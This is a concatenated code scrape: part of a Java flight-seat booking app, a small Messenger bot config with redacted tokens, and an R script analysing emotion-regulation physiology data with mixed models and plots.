customer.getAge(), customer.getSeatingClass(), customer.getSeatingType(), customer.getID())); } } // If no customers where read, create new placeholder customers if (customers == null) { addCustomer(new Customer("Mario", "Mario", 64, SeatClass.FIRST_CLASS, SeatType.WINDOW)); addCustomer(new Customer("Luigi", "Mario", 63, SeatClass.FIRST_CLASS, SeatType.MIDDLE)); addCustomer(new Customer("Wario", "Wario", 62, SeatClass.FIRST_CLASS, SeatType.AISLE)); } else { // Allocate all the seats to the appropriate customer for(int col = 0; col < airplane.getColumns(); col++) { for (int row = 0; row < airplane.getRows(); row++) { int customerID = FileManagement.readSeatFromFile(FILE_SEAT, col, row); if (customerID > -1) { Customer customerIDOnly = new Customer(customerID); int customerIndex = Arrays.binarySearch(customers, customerIDOnly); try { if (customerIndex > -1) airplane.assignSeat(col, row, customers[customerIndex]); }catch (SeatTakenException ex) { // Shouldn't happen System.err.println(ex.getMessage()); } } } } } // Bind adding new member form ObservableList<SeatClass> seatClass = FXCollections.observableArrayList(SeatClass.ECONOMY, SeatClass.BUSINESS, SeatClass.FIRST_CLASS); comboBoxSeatClass.setItems(seatClass); comboBoxSeatClass.getSelectionModel().select(SeatClass.ECONOMY); ObservableList<SeatType> seatTypes = FXCollections.observableArrayList(SeatType.AISLE, SeatType.MIDDLE, SeatType.WINDOW); comboBoxSeatType.setItems(seatTypes); comboBoxSeatType.getSelectionModel().select(SeatType.AISLE); refreshData(); } /** * Creates a new customer and adds it to the passenger list * @param event */ @FXML private void addCustomerButtonAction(ActionEvent event) { String first = textFieldFirstName.getText(); // Validate first name input if (first.length() < 3) { Alert error = new Alert(AlertType.ERROR); error.setHeaderText(ERROR_BAD_FIRST_NAME_HEADER); error.setContentText(ERROR_BAD_FIRST_NAME); error.showAndWait(); return; } // Validate last name input String last = textFieldLastName.getText(); if (last.length() < 3) { Alert error = new Alert(AlertType.ERROR); error.setHeaderText(ERROR_BAD_LAST_NAME_HEADER); error.setContentText(ERROR_BAD_LAST_NAME); error.showAndWait(); return; } // Set an initial age number int age; // Validate the age input try { age = Integer.parseInt(textFieldAge.getText()); } catch (NumberFormatException nfe) { Alert error = new Alert(AlertType.ERROR); error.setHeaderText(ERROR_BAD_AGE_HEADER); error.setContentText(ERROR_BAD_AGE); error.showAndWait(); return; } // No validation necessary as the comboBox items both have default values // making it impossible to select anything outside of the three valid options. SeatClass seatClass = (SeatClass) comboBoxSeatClass.getValue(); SeatType seatType = (SeatType) comboBoxSeatType.getValue(); int lastId = customers[customers.length-1].getID(); // Add the new customer addCustomer(new Customer(first,last,age,seatClass,seatType, lastId)); } /** * uses tableViewMembers to find the selected customer. If a customer is selected, run the removeCustomer method * remove the customer from the list of customers * @param event */ @FXML private void removeCustomerButtonAction(ActionEvent event) { Customer selectedCustomer = (Customer) tableViewMembers.getSelectionModel().getSelectedItem(); if (selectedCustomer != null) { removeCustomer(selectedCustomer); } } /** * Automatically book a flight depending on the preferences of the selected * customer in the tableViewMembers table. If it cannot book a flight, display * and error message * @param event */ @FXML private void bookFlightAutoButtonAction(ActionEvent event) { Customer selectedCustomer = (Customer) tableViewMembers.getSelectionModel().getSelectedItem(); // Check if there is a selected customer if (selectedCustomer == null) { Alert error = new Alert(AlertType.ERROR); error.setHeaderText(ERROR_NO_CUSTOMER_HEADER); error.setContentText(ERROR_NO_CUSTOMER); error.showAndWait(); return; // If there is no customer selected, display an error message and exit the function } else if (airplane.isBooked(selectedCustomer)){ Alert error = new Alert(AlertType.ERROR); error.setHeaderText(ERROR_ALREADY_BOOKED_HEADER); error.setContentText(ERROR_ALREADY_BOOKED); error.showAndWait(); return; } // Get a seat position based on the tableViewCustomer's seat preferences int[] position = airplane.findPreferredSeat(selectedCustomer.getSeatingClass(), selectedCustomer.getSeatingType()); if (position != null) { bookFlight(position[0], position[1]); // If there are no seats available show an error message saying all preferred seats are taken } else { Alert allBooked = new Alert(AlertType.ERROR); allBooked.setHeaderText(ERROR_FULL_BOOKED_HEADER); allBooked.setContentText(ERROR_FULL_BOOKED); allBooked.showAndWait(); } } /** * Manually assign a flight, avoids taking preferences into consideration. * @param event */ @FXML private void bookFlightManualButtonAction(ActionEvent event) { // Get the selected customer, if there is none throw a no member selected error // Otherwise if there is already a booking in the manually designated seat, throw an already booked error. Customer selectedCustomer = (Customer) tableViewMembers.getSelectionModel().getSelectedItem(); if ( selectedCustomer == null) { Alert error = new Alert(AlertType.ERROR); error.setHeaderText(ERROR_NO_CUSTOMER_HEADER); error.setContentText(ERROR_NO_CUSTOMER); error.showAndWait(); return; } else if (airplane.isBooked(selectedCustomer)){ Alert error = new Alert(AlertType.ERROR); error.setHeaderText(ERROR_ALREADY_BOOKED_HEADER); error.setContentText(ERROR_ALREADY_BOOKED); error.showAndWait(); return; } boolean errorOccurred = false; String errorHeaderText = ""; String errorContentText = ""; // Book a flight for the selected customer using their specific location try { int column = Integer.parseInt(textFieldMemberColumn.getText()) - 1; int row = Integer.parseInt(textFieldMemberRow.getText()) - 1; bookFlight(column, row); } catch (NumberFormatException ex) {// Called if the user entered a bad row or column (used letters instead of numbers as an example) errorOccurred = true; errorHeaderText = ERROR_BAD_ROW_COLUMN_HEADER; errorContentText = ERROR_BAD_ROW_COLUMN; } catch (ArrayIndexOutOfBoundsException ex) {// Called if the user entered a row and column that doesn't exist errorOccurred = true; errorHeaderText = ERROR_NULL_SEAT_HEADER; errorContentText = ERROR_NULL_SEAT; } // If any errors occurred during the runtime of this method, throw an error with the appropriate message if (errorOccurred) { Alert error = new Alert(AlertType.ERROR); error.setHeaderText(errorHeaderText); error.setContentText(errorContentText); error.showAndWait(); } } /** * If the user cancels their flight, deallocate the seat and update the seats file * @param event */ @FXML private void cancelFlightButtonAction(ActionEvent event) { Customer selectedCustomer = (Customer) tableViewMembers.getSelectionModel().getSelectedItem(); int[] colRow = airplane.cancelSeat(selectedCustomer); if (colRow != null) { // if colRow returned nothing then the customer already booked, no need to proceed try { // attempt to write the newly de-allocated seat location to file FileManagement.writeSeatToFile(FILE_SEAT, colRow[0], colRow[1], -1); } catch (IOException ex) { Alert error = new Alert(AlertType.ERROR); error.setHeaderText("Couldn't undo seat change to file"); error.setContentText(ex.getMessage()); } } refreshData(); } /** * Adds a new customer to the customers array, and saves the changes to a customers file * @param customer The new customer to add to customers */ private void addCustomer(Customer customer) { if (customers == null) {// If customers is empty, then create one new customer for that array customers = new Customer[] {customer}; FileManagement.writePassengersToFile(FILE_CUSTOMER, customers); } else {// Otherwise replace the array with a new array, adding the new customer to the end of the array Customer[] originalCustomers = customers; customers = new Customer[originalCustomers.length + 1]; System.arraycopy(originalCustomers, 0, customers, 0, originalCustomers.length); customers[customers.length - 1] = customer; Arrays.sort(customers); // Write the updated customers to file FileManagement.writePassengersToFile(FILE_CUSTOMER, customers); } refreshData(); } /** * Remove a customer from the customers array by creating a new array that does not include it, * implements binary search to find the appropriate customer index * @param customer The customer to delete */ private void removeCustomer(Customer customer) { // Sort the customers, then try to find the customer to delete using binary search Arrays.sort(customers); int indexFound = Arrays.binarySearch(customers, customer); if (indexFound > -1) { // If the customer is found with a specific ID, remove any bookings, and delete the customer Customer[] newCustomers = new Customer[customers.length - 1]; airplane.cancelSeat(customer); System.arraycopy(customers, 0, newCustomers, 0, indexFound); System.arraycopy(customers, indexFound + 1, newCustomers, indexFound, newCustomers.length - indexFound); customers = newCustomers; // Write the newly updated customers to file FileManagement.writePassengersToFile(FILE_CUSTOMER, customers); refreshData(); } } /** * The user attempts to book a seat for the flight * @param column the column seat * @param row the row seat */ private void bookFlight(int column, int row) throws IndexOutOfBoundsException { Customer selectedCustomer = (Customer) tableViewMembers.getSelectionModel().getSelectedItem(); try { // Attempt to assign a seat then update the seats file airplane.assignSeat(column, row, selectedCustomer); int customerId = selectedCustomer.getID(); FileManagement.writeSeatToFile(FILE_SEAT, column, row, customerId); } catch (SeatTakenException ste) {// Error occurs when the customer attempts to book an already booked seat Alert error = new Alert(AlertType.ERROR); error.setHeaderText(ERROR_SEAT_BOOKED_HEADER); error.setContentText(ERROR_SEAT_BOOKED); error.showAndWait(); } catch (IOException ex) {// This error occurs if the seat couldn't be saved to file. Alert error = new Alert(AlertType.ERROR); error.setHeaderText("Couldn't save passenger to file"); error.setContentText(ex.getMessage()); error.showAndWait(); // de-allocate seat if error occurs airplane.cancelSeat(selectedCustomer); } // update views refreshData(); } /** * Update all GUI components of the application with updated data from the bookings */ private void refreshData() { textAreaSeats.setText(airplane.toString()); // If there is text in the searchTerm attempt to filter based on the customer name if (!searchTerm.isEmpty()) { int found = DataManagement.searchCustomer(customers, searchTerm); if (found > -1) { // The first customer that is found with the matching first name is displayed // If I where to make any improvements, it would be to use a package that someone else has made // for doing binary searches customerGuiList.clear(); customerGuiList.add(customers[found]); return; } else { // sort the customers array in it's proper form Arrays.sort(customers); } } // Apply all the customers to the gui for customers customerGuiList.setAll(customers); } } <file_sep>/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package bookflight.booking.objects; import java.util.Comparator; /** * Used to compare the names of customers, useful for sorting and binary searches * @author <NAME> */ public class FindCustomer implements Comparator<Customer>{ /** * Returns an integer depending on whether the first name is higher or lower * than the second first name * @param c1 Customer 1, the source of the comparison * @param c2 Customer 2, the target of comparison * @return 0 = match, below 0 = c1 lower than c2, above 0 = c1 higher thatn c2 */ @Override public int compare(Customer c1, Customer c2) { return c1.getFirstName().compareToIgnoreCase(c2.getFirstName()); } } <file_sep>/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package bookflight.booking.objects; import bookflight.booking.SeatClass; import bookflight.booking.SeatType; /** * The seat associated with planes * @author <NAME> */ public class Seat { /** * Automatically set the seat class to economy, and the seat type to middle */ public Seat() { super(); seatClass = SeatClass.ECONOMY; seatType = SeatType.MIDDLE; } private Customer bookedBy; private SeatClass seatClass; private SeatType seatType; /** * Show if someone has already booked this seat * @return * if no-one has booked, A if an adult has booked, C if a child or teenager has booked. */ public char getBooking() { char bookee = '*'; if (getBookedBy() != null) { if (getBookedBy().getAge() >= 18) { return 'A'; } else { return 'C'; } } return bookee; } /** * Get the customer who made the booking * @return the Customer who made the booking */ public Customer getBookedBy() { return bookedBy; } /** * Assign a customer to this seat * @param bookedBy the customer who made the booking */ public void setBookedBy(Customer bookedBy) { this.bookedBy = bookedBy; } /** * Get type of class of this seat * @return the seat class */ public SeatClass getSeatClass() { return seatClass; } /** * Change the seat class to something else * @param seatClass the provided seat class to change to. */ public void setSeatClass(SeatClass seatClass) { this.seatClass = seatClass; } /** * Get this seat's type * @return the seat type */ public SeatType getSeatType() { return seatType; } /** * Change the seat type to something else * @param seatType the provided seat type to change to. */ public void setSeatType(SeatType seatType) { this.seatType = seatType; } } <file_sep>/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package bookflight.utilities; import bookflight.booking.objects.Airplane; import bookflight.booking.objects.Customer; import bookflight.booking.objects.FindCustomer; import java.util.ArrayList; import java.util.Arrays; import java.util.Collection; import java.util.List; /** * Does miscellaneous calculations and searching * @author <NAME> */ public abstract class DataManagement { /** * Searches for a customer based on their name * @param customers the list of customers to sort through * @param name the name of the customer that is being searched * @return null if there is no customers, Customer if there is a match */ public static int searchCustomer(Customer[] customers, String name) { Arrays.sort(customers, new FindCustomer()); return Arrays.binarySearch(customers, new Customer(name, 0), new FindCustomer()); } /** * Selects a unique number based on two values (column, and row) * @param column The column used to generate a unique number * @param row The row used to generate a unique number * @return the unique number associated with the provided column and row */ public static long getCantorPair(int column, int row) { // Original cantor formulae 0.5(n1+n2)(n1+n2+1)+n2 // (the 1000* gives more space that can allow for larger integers) return Math.round(1000*(0.5 * (column + row) * (column + row + 1) + row)); } }
cfad3202a54511894c62c1e477ffe0f14094da8c
[ "Java" ]
4
Java
MatthewBlurton/bookflight
0aef2271d05d789141ddd3c3c671e998fdfeedb0
3bcee8dec4383b36e640ec8833bafacc8a965721
refs/heads/master
<file_sep>const config = {} config.pageAccessToken = '<KEY>' config.validationToken = 'ABCD1234' config.recastToken = 'df<PASSWORD>aa9f' config.language = 'fr' module.exports = config
dc35ecd653cf7859a77a76de2550661a49dc0439
[ "JavaScript" ]
1
JavaScript
meddaoud/starter-bot-messenger
66108a507d69d5be966db65a6cdddbf63731ee1e
4742f0c4acacf5fc4c3f4d9e79109ffa2a2e8ca4
refs/heads/master
<file_sep>#Created 9/20/18 for "Do you know how you regulate? Comparing self-report and psychophysiological measures of emotion regulation" ###SETUP#### setwd("/Users/daisyburr/Dropbox/Dartmouth/Research/Kraemer/study3") d <- read.csv("./All_Data.csv", header=T) #*factor#### d$ID <- as.factor (d$ID) d$ER_CAT <- as.factor (d$ER_CAT) d$STIM_CAT <- as.factor (d$STIM_CAT) #*rename variables#### d$ER_METHOD <- d$ER_CAT d$STIM <- d$STIM_CAT levels(d$ER_METHOD)[levels(d$ER_METHOD)==1] <- "UNINSTRUCTED" levels(d$ER_METHOD)[levels(d$ER_METHOD)==2] <- "SUPPRESS" levels(d$ER_METHOD)[levels(d$ER_METHOD)==3] <- "REAPPRAISE" levels(d$STIM)[levels(d$STIM)==1] <- "ANALOGY" levels(d$STIM)[levels(d$STIM)==2] <- "MATH" levels(d$STIM)[levels(d$STIM)==3] <- "NEGATIVE" levels(d$STIM)[levels(d$STIM)==4] <- "NEUTRAL" levels(d$MARS_GROUP)[levels(d$MARS_GROUP)==1] <- "Low" levels(d$MARS_GROUP)[levels(d$MARS_GROUP)==2] <- "High" #*create new variables#### #ERQ_diff #supp - reapp, pos scores = they suppress more d$ERQ_diff <- d$ERQ_ES - d$ERQ_ER #STAI d$STAI_3 <- cut(d$STAI, 3, include.lowest = TRUE, labels = c('Low','Middle','High')) d$STAI_3 <- as.factor(d$STAI_3) #*contrasts#### #sum contrasts(d$STAI_3) <- contr.poly(3) #planned #ER_Method #CONTROL REAPPRAISE SUPPRESS Instructed_vs_unisntructed <- c(-2,1,1) Suppress_vs_reappraise <- c(0,-1,1) contrasts(d$ER_METHOD) <- cbind(Instructed_vs_unisntructed, Suppress_vs_reappraise) #*scale within subjects#### library(mousetrap) d <- scale_within(d, variables=c("STIM_GSRFR_BA", "STIM_LL_BA", "STIM_CS_BA"),within=c("ID"),prefix="z_") d <- scale_within(d, variables=c("STIM_GSRFR", "STIM_LL", "STIM_CS"),within=c("ID"),prefix="z_") #*subset df#### #only neg d_neg <- subset(d, STIM == "NEGATIVE") #save write.csv(d_neg, file = "d_neg.csv") #GENERAL PLOTS#### library(ggplot2) library(ggpubr) #single legend grid_arrange_shared_legend <- function(..., ncol = length(list(...)), nrow = 1, position = c("bottom", "right")) { plots <- list(...) position <- match.arg(position) g <- ggplotGrob(plots[[1]] + theme(legend.position = position))$grobs legend <- g[[which(sapply(g, function(x) x$name) == "guide-box")]] lheight <- sum(legend$height) lwidth <- sum(legend$width) gl <- lapply(plots, function(x) x + theme(legend.position = "none")) gl <- c(gl, ncol = ncol, nrow = nrow) combined <- switch(position, "bottom" = arrangeGrob(do.call(arrangeGrob, gl), legend,ncol = 1, heights = unit.c(unit(1, "npc") - lheight, lheight)), "right" = arrangeGrob(do.call(arrangeGrob, gl), legend, ncol = 2, widths = unit.c(unit(1, "npc") - lwidth, lwidth))) grid.newpage() grid.draw(combined) # return gtable invisibly invisible(combined) } #*individual diff#### #*erq STAI GROUP#### ggplot(d_neg, aes(x = ERQ_diff, y = STAI)) + geom_point(aes()) + geom_smooth(method = "lm", colour="black") + ggtitle("Self-reported regulation tendency and trait anxiety") + xlim(-4,1) + ylab("Trait Anxiety") + xlab("Self-reported Regulation Difference Score\n Reappraising more than suppressing <- -> Suppressing more than reappraising") + theme(axis.line = element_line(colour = "black"), panel.grid.major = element_blank(), panel.grid.minor = element_blank(), panel.border = element_blank(), panel.background = element_blank(), axis.title.x=element_text(size=20), axis.title.y=element_text(size=20), axis.text.x=element_text(size=20), axis.text.y=element_text(size=20), plot.title = element_text(size=20, face="bold")) cor(d_neg$ERQ_diff, d_neg$STAI) #0.2796535 #p-value = p-value 0.044385 #*Cross correlation in correlation distance#### which(names(d_neg)=="z_STIM_GSRFR") #55 which(names(d_neg)=="z_STIM_CS") #57 which(names(d_neg)=="z_STIM_LL") #56 #Get lower triangle of the correlation matrix get_lower_tri <- function(cormat){ cormat[lower.tri(cormat)]<- NA return(cormat) } #high cormat_high <- round(1-cor(d_neg[d_neg$STAI_3=="High",][, c(55,57,56)]),2) lower_tri_high <- get_lower_tri(cormat_high) #melt library(reshape2) melted_cormat_high <- melt(lower_tri_high, na.rm = TRUE) #heatmap ggheatmap_high <- ggplot(melted_cormat_high, aes(Var2, Var1, fill = value))+ geom_tile(color = "white")+ scale_fill_gradient2(low = "white", high = "white", midpoint = 0, limit = c(0,2), space = "Lab", name="Correlation distance") + xlab("") + ylab("") + theme_classic()+ theme(axis.text.x = element_text(angle = 45, vjust = 1, size = 12, hjust = 1)) + theme(axis.text.y = element_text(vjust = 1, size = 12, hjust = 1)) + coord_fixed() + ggtitle("+1 SD trait anxiety") + geom_text(aes(Var2, Var1, label = value), color = "black", size = 5) + scale_x_discrete(labels=c("z_STIM_GSRFR" = "EDA", "z_STIM_CS" = "CS", "z_STIM_LL" = "LL")) + scale_y_discrete(labels=c("z_STIM_GSRFR" = "EDA", "z_STIM_CS" = "CS", "z_STIM_LL" = "LL")) #middle cormat_middle <- round(1-cor(d_neg[d_neg$STAI_3=="Middle",][, c(55,57,56)]),2) lower_tri_middle <- get_lower_tri(cormat_middle) #melt library(reshape2) melted_cormat_middle <- melt(lower_tri_middle, na.rm = TRUE) #heatmap ggheatmap_middle <- ggplot(melted_cormat_middle, aes(Var2, Var1, fill = value))+ geom_tile(color = "white")+ scale_fill_gradient2(low = "white", high = "white", midpoint = 0, limit = c(0,2), space = "Lab", name="Correlation distance") + xlab("") + ylab("") + theme_classic()+ theme(axis.text.x = element_text(angle = 45, vjust = 1, size = 12, hjust = 1)) + theme(axis.text.y = element_text(vjust = 1, size = 12, hjust = 1)) + coord_fixed() + ggtitle("Mean trait anxiety") + geom_text(aes(Var2, Var1, label = value), color = "black", size = 5) + scale_x_discrete(labels=c("z_STIM_GSRFR" = "EDA", "z_STIM_CS" = "CS", "z_STIM_LL" = "LL")) + scale_y_discrete(labels=c("z_STIM_GSRFR" = "EDA", "z_STIM_CS" = "CS", "z_STIM_LL" = "LL")) #low cormat_low <- round(1-cor(d_neg[d_neg$STAI_3=="Low",][, c(55,57,56)]),2) lower_tri_low <- get_lower_tri(cormat_low) #melt library(reshape2) melted_cormat_low <- melt(lower_tri_low, na.rm = TRUE) #heatmap ggheatmap_low <- ggplot(melted_cormat_low, aes(Var2, Var1, fill = value))+ geom_tile(color = "white")+ scale_fill_gradient2(low = "blue", high = "white", midpoint = 0, limit = c(0,2), space = "Lab", name="Correlation distance") + xlab("") + ylab("") + theme_classic()+ theme(axis.text.x = element_text(angle = 45, vjust = 1, size = 12, hjust = 1)) + theme(axis.text.y = element_text(vjust = 1, size = 12, hjust = 1)) + coord_fixed() + ggtitle("- 1 SD trait anxiety") + geom_text(aes(Var2, Var1, label = value), color = "black", size = 5) + scale_x_discrete(labels=c("z_STIM_GSRFR" = "EDA", "z_STIM_CS" = "CS", "z_STIM_LL" = "LL")) + scale_y_discrete(labels=c("z_STIM_GSRFR" = "EDA", "z_STIM_CS" = "CS", "z_STIM_LL" = "LL")) require(gridExtra) library(grid) require(lattice) cross_corr <- grid_arrange_shared_legend(ggheatmap_low, ggheatmap_middle, ggheatmap_high, ncol=3, nrow=1) #*physio descriptives#### library(Rmisc) ddply(d, "STAI_3", summarise, mean = mean(STAI), n = length(unique(ID))) #STAI_3 mean n #1 Low 1.630592 24 #2 Middle 2.222885 19 #3 High 2.859357 9 d_neg$ER_METHOD <- factor(d_neg$ER_METHOD, labels = c("Uninstructed", "Suppress", "Reappraise")) cs <- summarySE(d_neg, measurevar="z_STIM_CS", groupvars=c("ER_METHOD","STAI_3")) # ER_METHOD STAI_3 N z_STIM_CS sd se ci # Spontaneous Low 480 1.24147017 1.4499688 0.06618172 0.13004237 # Spontaneous Middle 380 0.73322346 1.4086926 0.07226441 0.14208938 # Spontaneous High 180 0.57714886 1.4614080 0.10892692 0.21494608 # Suppress Low 480 0.10006991 0.7491392 0.03419337 0.06718754 # Suppress Middle 380 0.12550144 1.0088193 0.05175134 0.10175570 # Suppress High 180 -0.28461849 0.6913924 0.05153335 0.10169103 # Reappraise Low 480 0.17086352 1.0846545 0.04950748 0.09727867 # Reappraise Middle 380 0.42126872 0.8201094 0.04207073 0.08272127 # Reappraise High 180 0.02626882 0.8263527 0.06159269 0.12154119 cs_noAnx <- summarySE(d_neg, measurevar="z_STIM_CS", groupvars=c("ER_METHOD")) # ER_METHOD N z_STIM_CS sd se ci #Spontaneous 1040 0.94078595 1.4633838 0.04537761 0.08904220 # Suppress 1040 0.04278151 0.8572681 0.02658275 0.05216200 # Reappraise 1040 0.23733172 0.9630651 0.02986338 0.05859941 csme <- ggplot(cs, aes(x=STAI_3, y=z_STIM_CS, fill = STAI_3)) + xlab("Trait anxiety") + ylab("Corrugator (z)") + stat_summary(fun.y="mean", geom="bar") + facet_grid(.~ER_METHOD) + geom_errorbar(aes(ymin=z_STIM_CS-se, ymax=z_STIM_CS+se), width=.2, position=position_dodge(.9)) + theme(panel.grid.major = element_blank(), panel.grid.minor = element_blank(), panel.background = element_blank(), axis.line = element_line(colour = "black")) + scale_fill_grey(start = 0.4, end = 0.8, aesthetics = "fill") + theme_apa() ll <- summarySE(d_neg, measurevar="z_STIM_LL", groupvars=c("ER_METHOD","STAI_3")) # ER_METHOD STAI_3 N z_STIM_LL sd se ci # Spontaneous Low 480 0.48134656 1.2084833 0.05515946 0.10838442 # Spontaneous Middle 380 0.42713420 1.1829803 0.06068561 0.11932265 # Spontaneous High 180 0.51533361 1.2042016 0.08975589 0.17711579 # Suppress Low 480 -0.20190844 0.6310302 0.02880246 0.05659478 # Suppress Middle 380 -0.05774360 0.9807051 0.05030911 0.09891993 # Suppress High 180 -0.10402444 1.1444660 0.08530346 0.16832978 # Reappraise Low 480 -0.14397062 0.7748267 0.03536584 0.06949135 # Reappraise Middle 380 0.03056806 1.0299012 0.05283282 0.10388216 # Reappraise High 180 -0.22173432 0.9570214 0.07133216 0.14076014 ll_noAnx <- summarySE(d_neg, measurevar="z_STIM_LL", groupvars=c("ER_METHOD")) # ER_METHOD N z_STIM_LL sd se ci # Spontaneous 1040 0.46742057 1.1977789 0.03714155 0.07288100 # Suppress 1040 -0.13229136 0.8743426 0.02711221 0.05320094 # Reappraise 1040 -0.09365597 0.9116669 0.02826959 0.05547200 llme <- ggplot(ll, aes(x=STAI_3, y=z_STIM_LL, fill = STAI_3)) + xlab("Trait anxiety") + ylab("Levator (z)") + stat_summary(fun.y="mean", geom="bar") + facet_grid(.~ER_METHOD) + geom_errorbar(aes(ymin=z_STIM_LL-se, ymax=z_STIM_LL+se), width=.2, position=position_dodge(.9)) + theme(panel.grid.major = element_blank(), panel.grid.minor = element_blank(), panel.background = element_blank(), axis.line = element_line(colour = "black")) + scale_fill_grey(start = 0.4, end = 0.8, aesthetics = "fill") + theme_apa() gsr <- summarySE(d_neg, measurevar="z_STIM_GSRFR", groupvars=c("ER_METHOD","STAI_3")) # ER_METHOD STAI_3 N z_STIM_GSRFR sd se ci # Spontaneous Low 480 -0.01389333 0.8548666 0.03901914 0.07666984 # Spontaneous Middle 380 0.01021617 1.2003635 0.06157735 0.12107602 # Spontaneous High 180 0.11243269 0.6129069 0.04568338 0.09014726 # Suppress Low 480 -0.05874604 0.7904212 0.03607763 0.07088997 # Suppress Middle 380 0.05332000 0.8472708 0.04346407 0.08546093 # Suppress High 180 0.04187532 0.5996704 0.04469679 0.08820043 # Reappraise Low 480 -0.14984347 0.8814111 0.04023073 0.07905052 # Reappraise Middle 380 -0.02690439 0.9966759 0.05112840 0.10053085 # Reappraise High 180 -0.08176878 1.2489932 0.09309445 0.18370379 gsr_noAnx <- summarySE(d_neg, measurevar="z_STIM_GSRFR", groupvars=c("ER_METHOD")) # ER_METHOD N z_STIM_GSRFR sd se ci # Spontaneous 1040 0.0167800282 0.9639805 0.02989177 0.05865511 # Suppress 1040 -0.0003835997 0.7840790 0.02431326 0.04770868 # Reappraise 1040 -0.0931412629 0.9961831 0.03089033 0.06061454 gsrme <- ggplot(gsr, aes(x=STAI_3, y=z_STIM_GSRFR, fill = STAI_3)) + xlab("Trait anxiety") + ylab("Skin conductance (z)") + stat_summary(fun.y="mean", geom="bar") + facet_grid(.~ER_METHOD) + geom_errorbar(aes(ymin=z_STIM_GSRFR-se, ymax=z_STIM_GSRFR+se), width=.2, position=position_dodge(.9)) + theme(panel.grid.major = element_blank(), panel.grid.minor = element_blank(), panel.background = element_blank(), axis.line = element_line(colour = "black")) + scale_fill_grey(start = 0.4, end = 0.8, aesthetics = "fill") + theme_apa() library(cowplot) legend <- get_legend( llme + guides(color = guide_legend(nrow = 1)) + theme(legend.position = "right") ) plots <- plot_grid( gsrme + theme(legend.position="none"), csme + theme(legend.position="none"), llme + theme(legend.position="none"), align = 'vh', hjust = -1, nrow = 3, ncol = 1 ) plot_grid(plots, ncol = 1, rel_heights = c(1, .1)) ggsave("physio_descrip.pdf", plot = last_plot(), device = "pdf", scale = 1, width = 7, height = 6, dpi = 300) #*MODELS#### ######GLMER ERCONDITION#### library(lmerTest) library(lme4) library(sjPlot) library(sjmisc) library(jtools) library(car) library(sjstats) library(sjlabelled) library(optimx) library(ggplot2) library(interactions) #new jtools interactions plots library(cowplot) library(interactions) library(tidyverse) #only instructed glmer <- d_neg[d_neg$ER_METHOD!="UNINSTRUCTED",] glmer$ER_METHOD <- factor(glmer$ER_METHOD) #check contrasts for logit interpretation contrasts(glmer$ER_METHOD) #SUPPRESS 0 #REAPPRAISE 1 glmer_ERQ_STAI <- glmer(ER_METHOD ~ z_STIM_GSRFR + z_STIM_CS + z_STIM_LL + z_STIM_LL:STAI + z_STIM_CS:STAI + z_STIM_GSRFR:STAI + (1|ID), data = glmer, family = binomial, glmerControl(optimizer = "bobyqa", optCtrl = list(maxfun = 100000))) summ(glmer_ERQ_STAI, center = TRUE, confint = TRUE) #exp = TRUE for ORs # Est. 2.5% 97.5% z val. p #z_STIM_GSRFR -0.12 -0.22 -0.02 -2.33 0.02 #z_STIM_CS 0.24 0.15 0.34 4.86 0.00 #z_STIM_LL 0.06 -0.05 0.16 1.05 0.29 #z_STIM_LL:STAI -0.23 -0.43 -0.04 -2.40 0.02 #z_STIM_CS:STAI 0.36 0.15 0.58 3.33 0.00 #z_STIM_GSRFR:STAI -0.01 -0.22 0.20 -0.13 0.89 glmer_GSR <- effect_plot(glmer_ERQ_STAI, pred = z_STIM_GSRFR, interval = TRUE, outcome.scale = "response", x.label = "Skin Conductance (z)", y.label = "Predicted Probability \n of Reappraising", data = glmer) + theme_apa() glmer_CS <- effect_plot(glmer_ERQ_STAI, pred = z_STIM_CS, interval = TRUE, outcome.scale = "response", x.label = "Corrugator (z)", y.label = "Predicted probability \n of Reappraising", data = glmer) + theme_apa() glmer_LL <- effect_plot(glmer_ERQ_STAI, pred = z_STIM_LL, interval = TRUE, outcome.scale = "response", x.label = "Levator (z)", y.label = "Predicted probability \n of Reappraising", data = glmer) + theme(axis.text.x = element_text(angle = 90, hjust = 1)) + theme_apa() glmer_LL_STAI <- interact_plot(glmer_ERQ_STAI, pred = z_STIM_LL, modx = STAI, interval = TRUE, outcome.scale = "response", x.label = "Levator (z)", y.label = "Predicted Rrobability \n of Reappraising", data = glmer, legend.main = "Trait Anxiety") + theme(axis.text.x = element_text(angle = 90, hjust = 1)) + theme_apa() glmer_CS_STAI <- interact_plot(glmer_ERQ_STAI, pred = z_STIM_CS, modx = STAI, interval = TRUE, outcome.scale = "response", x.label = "Corrugator (z)", y.label = "Predicted probability \n of Reappraising", data = glmer, legend.main = "Trait Anxiety") + theme_apa() glmer_GSR_STAI <- interact_plot(glmer_ERQ_STAI, pred = z_STIM_GSRFR, modx = STAI, interval = TRUE, outcome.scale = "response", x.label = "Skin Conductance (z)", y.label = "Predicted Probability \n of Reappraising", data = glmer, legend.main = "Trait Anxiety") + theme_apa() legend <- interact_plot(glmer_ERQ_STAI, pred = z_STIM_LL, modx = STAI, interval = TRUE, outcome.scale = "response", x.label = "Levator (z)", y.label = "Predicted Probability \n of Reappraising", data = glmer, legend.main = "Trait Anxiety") + theme(axis.text.x = element_text(angle = 90, hjust = 1)) library(cowplot) plots <- plot_grid( glmer_GSR + theme(legend.position="none"), glmer_CS + theme(legend.position="none"), glmer_LL + theme(legend.position="none"), glmer_GSR_STAI + theme(legend.position="none"), glmer_CS_STAI + theme(legend.position="none"), glmer_LL_STAI + theme(legend.position="none"), align = 'vh', hjust = -1, nrow = 2, ncol = 3 ) legend <- get_legend( legend + guides(color = guide_legend(nrow = 1)) + theme(legend.position = "bottom") ) plot_grid(plots, legend, ncol = 1, rel_heights = c(1, .1)) ggsave("GLMER_ERCOND.pdf", plot = last_plot(), device = "pdf", scale = 1, width = 9, height = 7, dpi = 300) #*DISTANCE#### library(tidyr) #predict distance to uninstructed from instructed condition ERQ, and STAI #reformat so dist is nested under condition data_long <- gather(d_neg, ins_cond, dist_to_unins, REAPPRAISE_UNINSTRUCTED_cor:SUPPRESS_UNINSTRUCTED_cor, factor_key=TRUE) #factor data_long$ins_cond <- as.factor(data_long$ins_cond) #relabel condition levels(data_long$ins_cond)[levels(data_long$ins_cond)=="REAPPRAISE_UNINSTRUCTED_cor"] <- "Reappraise" 